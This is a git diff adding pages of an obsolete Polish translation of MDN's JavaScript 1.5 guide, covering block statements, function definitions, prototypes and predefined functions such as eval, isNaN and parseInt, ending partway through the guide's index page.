+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>
+</p>
+<h3 id="Blok_instrukcji" name="Blok_instrukcji"> Blok instrukcji </h3>
+<p>Blok instrukcji jest użyty do grupowania instrukcji. Blok zawarty jest w klamrach:
+</p>
+<pre class="eval">{
+ instrukcja_1
+ instrukcja_2
+ .
+ .
+ .
+ instrukcja_n
+}
+</pre>
+<p><b>Przykład</b><br>
+Blok instrukcji są zazwyczaj używane z instrukcją kontrolną (np. <code><b>if</b></code>, <code><b>for</b></code>, <code><b>while</b></code>).
+</p>
+<pre class="eval">while (x &lt; 10) {
+ x++;
+}
+</pre>
+<p>Tutaj, <code><b>{ x++; }</b></code> jest blokiem instrukcji.
+</p><p><b>Ważne</b>: JavaScript <b>nie</b> ma zakresu blokowego. Zmienne przedstawione z blokiem są zakresem stanowiącym zawartość funkcji i skryptu, efektem ustawień ich i trwania ponad własny blok. Nie chcesz używać bloków "samodzielnych/wolnostojących" w JavaScript, ponieważ one nie robią tego co myślisz, że robią, jeśli myślisz, że robią cokolwiek tak jak bloki w C lub Javie. Na przykład:
+</p>
+<pre class="eval">var x = 1;
+{
+ var x = 2;
+}
+alert(x); // wyświetli wartość drugiej zmiennej 2
+</pre>
+<p>Zostanie wyświetlona wartość drugiej zmiennej ponieważ instrukcja <code><b>var x</b></code> wewnątrz warunku posiada ten sam zakres co instrukcja <code><b>var x</b></code> przed instrukcją warunkową. W C lub Java, równoważny kod miałby wartość pierwszej zmiennej.
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Block_Statement", "fr": "fr/Guide_JavaScript_1.5/D\u00e9claration_de_blocs", "ja": "ja/Core_JavaScript_1.5_Guide/Block_Statement" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html
new file mode 100644
index 0000000000..5dca69e416
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html
@@ -0,0 +1,61 @@
+---
+title: Definiowanie funkcji
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<h2 id="Definiowanie_funkcji" name="Definiowanie_funkcji">Definiowanie funkcji</h2>
+<p>Na definicję funkcji składają się słowa:</p>
+<ul>
+ <li>Nazwa funkcji.</li>
+ <li>Lista argumentów funkcji, otoczona w nawiasach i oddzielona przecinkami.</li>
+ <li>Instrukcje JavaScript, które definiują funkcje, otoczone w nawiasach klamrowych, { }. Instrukcje w funkcji zawierają nazwę do innych funkcji zdefiniowane do aktualnej aplikacji.</li>
+</ul>
+<p>Na przykład, następujący kod definiuje prostą funkcję nazwaną square:</p>
+<pre>function square(number) {
+ return number * number;
+}
+</pre>
+<p>Funkcja <code>square</code> bierze jeden argument, nazwany number. Funkcja składa się z jednej instrukcji, która sygnalizuje zwrot argumentu funkcji pomnożonej przez samą siebie. Instrukcja <code>return</code> określa wartość zwracanej funkcji.</p>
+<pre>return number * number
+</pre>
+<p>Wszystkie parametry są przekazywane do funkcji <em>przez wartość</em>; wartość zostaje przekazana do funkcji, ale jeżeli w funkcji wartość parametru zostanie zmieniona, zmiana ta nie będzie widoczna globalnie an. Jednakże, jeżeli przekażesz obiekt jako parametr funkcji, a funkcja zmieni właściwości obiektu, zmiana ta będzie widoczna poza funkcją, tak jak w następującym przykładzie:</p>
+<pre>function myFunc(theObject) {
+ theObject.make="Toyota"
+}
+
+mycar = {make:"Honda", model:"Accord", year:1998};
+x=mycar.make; // zwraca Honda
+myFunc(mycar); // przechodzi obiekt mycar do funkcji
+y=mycar.make; // zwraca Toyota (porada: was changed by the function)
+</pre>
+<p>Zdefiniowana funkcja jest oparta na warunku. Na przykład, dając następującą definicje funkcji:</p>
+<pre>if (num == 0)
+{
+ function myFunc(theObject) {
+ theObject.make="Toyota"
+ }
+}
+</pre>
+<p>Funkcja <code>myFunc</code> jest tylko zdefiniowana jeśli zmienna <code>num</code> równa się 0. Jeśli <code>num</code> nie jest równe 0, funkcja nie jest zdefiniowana i jakiekolwiek inne próby nie zostaną wykonane.</p>
+<p>Oprócz opisanego tu definiowania funkcji, możliwe jest także definiowanie <a href="/pl/docs/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Function_Object" title="Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Function_Object">Function objects</a>.</p>
+<p>Metoda jest to połączenie funkcji z obiektem. Możesz się nauczyć więcej o obiektach i metodach w <a href="/pl/docs/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function" title="Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt function</a></p>
+<p>Funkcja może być także zdefiniowana wewnątrz wyrażenia. Jest to nazwane wyrażeniem funkcyjnym. Typowo takie funkcje są anonimowe - nie mają nazwy. Na przykład, funkcja <code>square</code> może być zdefiniowana jako:</p>
+<pre>const square = function(number) {return number * number};
+</pre>
+<p>To jest konwencja kiedy przekazujesz jako funkcję jako argument do następnej funkcji. Następujący przykład pokazuje mapę funkcji będących zdefiniowanymi i następnie nazwane z funkcją, a jako pierwszą funkcją będzie parametr:</p>
+<pre>function map(f,a) {
+ var result=new Array;
+ for (var i = 0; i != a.length; i++)
+ result[i] = f(a[i]);
+ return result;
+}
+</pre>
+<p>Wywołuje:</p>
+<pre>map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+</pre>
+<p>Zwraca {{ mediawiki.external('0, 1, 8, 125, 1000') }}.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html
new file mode 100644
index 0000000000..9ba9895af5
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html
@@ -0,0 +1,20 @@
+---
+title: Dodawanie obiektom nowej funkcjonalności.
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalności.
+---
+<p>Każdy obiekt JavaScriptu posiada zadeklarowane, właściwe dla siebie funkcje, jak np. obiekt String posiada takie funkcje jak <code>toUpperCase()</code> czy<code> toLowerCase()</code>, które odpowiadają odpowiednio za przekonwertowanie liter na duże i małe. Za pomocą prototypów możemy dodać własne funkcje. Poniżej przedstawiony został kod, który zwraca pierwszą literę łańcucha znaków, na którym została wykonana nasza metoda.</p>
+<p> </p>
+<p><code>String.prototype.firstLetter = function() {</code></p>
+<p><code> var callObject = this;</code></p>
+<p><code> return callObject.charAt(0);<br>
+</code></p>
+<p><code>};</code></p>
+<p> </p>
+<p>Dysponując tak przygotowanym kodem, możemy teraz uż<font color="#313131" face="arial, sans-serif">y</font><span class="Apple-style-span" style="color: rgb(49, 49, 49); font-family: arial, sans-serif;">ć naszej metody <code>firstLetter()</code> na dowolnym łańcuchu znaków.</span></p>
+<p> </p>
+<p><code>alert("hello".firstLetter());</code></p>
+<p> </p>
+<p>Powyższy kod wyświetli w okienku dialogowym typu alert literę h.</p>
+<p> </p>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html
new file mode 100644
index 0000000000..3a78b3c311
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html
@@ -0,0 +1,20 @@
+---
+title: Funkcja eval
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcja_eval" name="Funkcja_eval"> Funkcja <code>eval</code> </h3>
+<p>Funkcja <code>eval</code> ocenia łańcuch znaków w kodzie JavaScript bez odniesienia do osobliwego obiektu. Składnia <code>eval</code>:
+</p>
+<pre>eval(expr)
+</pre>
+<p>gdzie: <code>expr</code> jest ocenianym łańcuchem znaków.
+</p><p>Jeśli łańcuch znaków reprezentuje wyrażenie, <code>eval</code> je ocenia. Jeśli argument reprezentuje jedną lub więcej instrukcji JavaScript, <code>eval</code> wykonuje instrukcję. Nie nazywaj <code>eval</code> oceniane wyrażenia arytmetyczne, gdyż JavaScript oceni wyrażenia arytmetyczne automatycznie.
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_eval", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html
new file mode 100644
index 0000000000..ee6209ed4f
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html
@@ -0,0 +1,24 @@
+---
+title: Funkcja isFinite
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcja_isFinite" name="Funkcja_isFinite"> Funkcja <code><b>isFinite</b></code> </h3>
+<p>Funkcja <code><b>isFinite</b></code> sprawdza argument do momentu ustalenia czy jest liczbą skończona. Składnia <code><b>isFinite</b></code>:
+</p>
+<pre>isFinite(number)
+</pre>
+<p>gdzie: <code><b>number</b></code> jest liczbą, która jest sprawdzana. </p><p>Jeśli argument jest <code><b>NaN</b></code>, plus nieskończoność lub minus nieskończoność, to ta metoda zwraca <code><b>false</b></code>, w innych przypadkach zwraca <code><b>true</b></code>.
+</p><p>Następujący kod sprawdza klienta wejścia i ustala czy to jest liczba skończona. </p>
+<pre>if(isFinite(ClientInput) == true)
+{
+ /* wykonaj odpowiednie kroki */
+}
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isFinite", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html
new file mode 100644
index 0000000000..c580bcd791
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html
@@ -0,0 +1,29 @@
+---
+title: Funkcja isNaN
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcja_isNaN" name="Funkcja_isNaN"> Funkcja isNaN </h3>
+<p>Funkcja <code><b>isNaN</b></code> ocenia argument do określenia jeśli jest "NaN" (nie numer). Składnia <code><b>isNaN</b></code>:
+</p>
+<pre>isNaN(testValue)
+</pre>
+<p>gdzie: <code><b>testValue</b></code> jest wartością do oceny.
+</p><p>Funkcje <code><b>parseFloat</b></code> i <code><b>parseInt</b></code> zwracają "NaN", kiedy ocenią wartość, że to nie jest numer. <code><b>isNaN</b></code> zwraca true jeśli przyjmie "NaN," i false w przeciwnym wypadku.
+</p><p>Następujący kod sprawdza wartość <code><b>floatValue</b></code>, potrafi określić czy to jest liczba, a następnie nazywa odpowiednią procedurę:
+</p>
+<pre>floatValue=parseFloat(toFloat)
+
+if (isNaN(floatValue)) {
+ notFloat()
+} else {
+ isFloat()
+}
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isNaN", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html
new file mode 100644
index 0000000000..a0efea0a21
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html
@@ -0,0 +1,25 @@
+---
+title: Funkcje escape i unescape
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcje_escape_i_unescape" name="Funkcje_escape_i_unescape"> Funkcje <code>escape</code> i <code>unescape</code> </h3>
+<p>Funkcje <code>escape</code> i <code>unescape</code> kodują i dekodują wartość łańcuchową. Funkcja <code>escape</code> zwraca kodowanie szesnastkowe argumentu ustawiając czcionki ISO Latin. Funkcja <code>unescape</code> zwraca wartość łańcuchową jako ASCII - czyli specyficzną wartością kodowania szesnastkowego.
+</p><p>Składnia tych funkcji:
+</p>
+<pre>escape(string)
+unescape(string)
+</pre>
+<p>Funkcje używamy przede wszystkim po stronie serwera, JavaScript koduje i dekoduje nazwy/wartości par w URL.
+</p><p>Funkcje <code>escape</code> i <code>unescape</code> nie pracują dla znaków nie znajdujących się w ASCII, które są deprecated. W JavaScript 1.5 i późniejszych wydaniach, używają <code>encodeURI</code>, <code>decodeURI</code>, <code>encodeURIComponent</code>, i <code>decodeURIComponent</code>.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_escape_y_unescape", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_escape_et_unescape", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html
new file mode 100644
index 0000000000..10c47d0cd8
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html
@@ -0,0 +1,26 @@
+---
+title: Funkcje Number i String
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcje_Number_i_String" name="Funkcje_Number_i_String"> Funkcje <code><b>Number</b></code> i <code><b>String</b></code> </h3>
+<p>Funkcja <code><b>Number</b></code> i <code><b>String</b></code> przekonwertuje na obiekt numeryczny lub łańcuch znaków. Składnia tej funkcji to:
+</p>
+<pre>Number(objRef)
+String(objRef)
+</pre>
+<p>gdzie: <code><b>objRef</b></code> jest wskaźnikiem funkcji.
+</p><p>Następny przykład przekonwertuje obiekt <code><b>Date</b></code> na możliwy do odczytu łańcuch znaków.
+</p>
+<pre>D = new Date (430054663215)
+// Następnie zwraca
+// "Thu Aug 18 04:37:43 GMT-0700 (Pacific Daylight Time) 1983"
+x = String(D)
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_Number_y_String", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_Number_et_String", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html
new file mode 100644
index 0000000000..987bd6757a
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html
@@ -0,0 +1,27 @@
+---
+title: Funkcje parseInt i parseFloat
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcja_parseInt_i_parseFloat" name="Funkcja_parseInt_i_parseFloat"> Funkcja <code>parseInt</code> i <code>parseFloat</code> </h3>
+<p>Dwie funkcje "parse", <code>parseInt</code> i <code>parseFloat</code>, zwracają wartość liczbową, gdy podano łańcuch znaków jako argument. </p><p>Składnia <code>parseFloat</code>
+</p>
+<pre>parseFloat(str)
+</pre>
+<p>gdzie <code>parseFloat</code> analizuje swój argument, łańcuch znaków <code>str</code> i próbuje zwrócić liczbę zmiennoprzecinkową. W razie napotkania symbolu innego niż znak (+ lub -), liczby (0-9), znaku dziesiętnego lub wykładnika, funkcja zwraca wartość do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN" (nie liczba).
+</p><p>Składnia <code>parseInt</code> </p>
+<pre>parseInt(str [, radix])
+</pre>
+<p><code>parseInt</code> analizuje swój pierwszy argument, łańcuch znaków <code>str</code> i próbuje zwrócić liczbę całkowitą o podstawie wskazanej przez drugi, opcjonalny argument <code>radix</code>. Na przykład, podstawa o wartości 10 wskazuje konwersję do liczby dziesiętnej, podstawa równa 8 do liczby ósemkowej, 16 do heksadecymalnej itd. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe od 9. Na przykład, dla liczb heksadecymalnych (podstawa 16), używane są litery od A do F.
+</p><p>Jeśli <code>parseInt</code> napotka w podanej podstawie symbolu, który nie jest liczbą, funkcja zwraca wartość całkowitą do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN". Funkcja <code>parseInt</code> skraca łańcuchy znaków do wartości całkowitych.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_parseInt_y_parseFloat", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_parseInt_et_parseFloat", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html
new file mode 100644
index 0000000000..904181e0e9
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html
@@ -0,0 +1,23 @@
+---
+title: Funkcje predefiniowane
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>
+</p>
+<h3 id="Funkcje_predefiniwane" name="Funkcje_predefiniwane"> Funkcje predefiniwane </h3>
+<p>JavaScript ma kilka predefiniowanych funkcji:
+</p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval"><code>eval</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite"><code>isFinite</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN">Funkcja <code>isNaN</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat"><code>parseInt</code> i <code>parseFloat</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String"><code>Number</code> i <code>String</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape"><code>encodeURI</code>, <code>decodeURI</code>, <code>encodeURIComponent</code>, i <code>decodeURIComponent</code> (wszystkie dostępne z Javascript 1.5 i późniejszym).</a>
+</li></ul>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html
new file mode 100644
index 0000000000..5cbec8cf40
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html
@@ -0,0 +1,875 @@
+---
+title: Przewodnik po języku JavaScript 1.5
+slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5
+tags:
+ - AJAX
+ - JavaScript
+ - Projekt_MDC
+ - Przewodnik_JavaScript
+ - Strony_do_aktualizacji
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide
+---
+<h4 id="O_tym_przewodniku" name="O_tym_przewodniku"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku">O tym przewodniku</a></h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Nowe_mo.C5.BCliwo.C5.9Bci_tego_wydania" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Nowe_mo.C5.BCliwo.C5.9Bci_tego_wydania">Nowe możliwości tego wydania</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87">Co już powinieneś wiedzieć</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Wersje_JavaScriptu" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Wersje_JavaScriptu">Wersje JavaScriptu</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Gdzie_szuka.C4.87_informacji_o_JavaScripcie" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Gdzie_szuka.C4.87_informacji_o_JavaScripcie">Gdzie szukać informacji o JavaScripcie</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Konwencje_dokumentu" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Konwencje_dokumentu">Konwencje dokumentu</a></dd>
+</dl>
+
+<h4 id="Przegl.C4.85d_JavaScriptu" name="Przegl.C4.85d_JavaScriptu"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu">Przegląd JavaScriptu</a></h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Czym_jest_JavaScript.3F" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Czym_jest_JavaScript.3F">Czym jest JavaScript?</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#JavaScript_i_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#JavaScript_i_Java">JavaScript i Java</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#JavaScript_i_specyfikacja_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#JavaScript_i_specyfikacja_ECMA">JavaScript i specyfikacja ECMA</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Zwi.C4.85zek_pomi.C4.99dzy_JavaScript.2C_a_wersj.C4.85_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Zwi.C4.85zek_pomi.C4.99dzy_JavaScript.2C_a_wersj.C4.85_ECMA">Związek pomiędzy JavaScript, a wersją ECMA</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Dokumentacja_JavaScript_w_por.C3.B3wnaniu_ze_specyfikacj.C4.85_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Dokumentacja_JavaScript_w_por.C3.B3wnaniu_ze_specyfikacj.C4.85_ECMA">Dokumentacja JavaScript w porównaniu ze specyfikacją ECMA</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Terminologia_JavaScriptu_i_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Terminologia_JavaScriptu_i_ECMA">Terminologia JavaScriptu i ECMA</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Funkcjonalno.C5.9B.C4.87_j.C4.99zyka" name="Funkcjonalno.C5.9B.C4.87_j.C4.99zyka">Funkcjonalność języka</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wartości">Wartości</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci#Konwersja_typu_danych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wartości#Konwersja_typu_danych">Konwersja typu danych</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
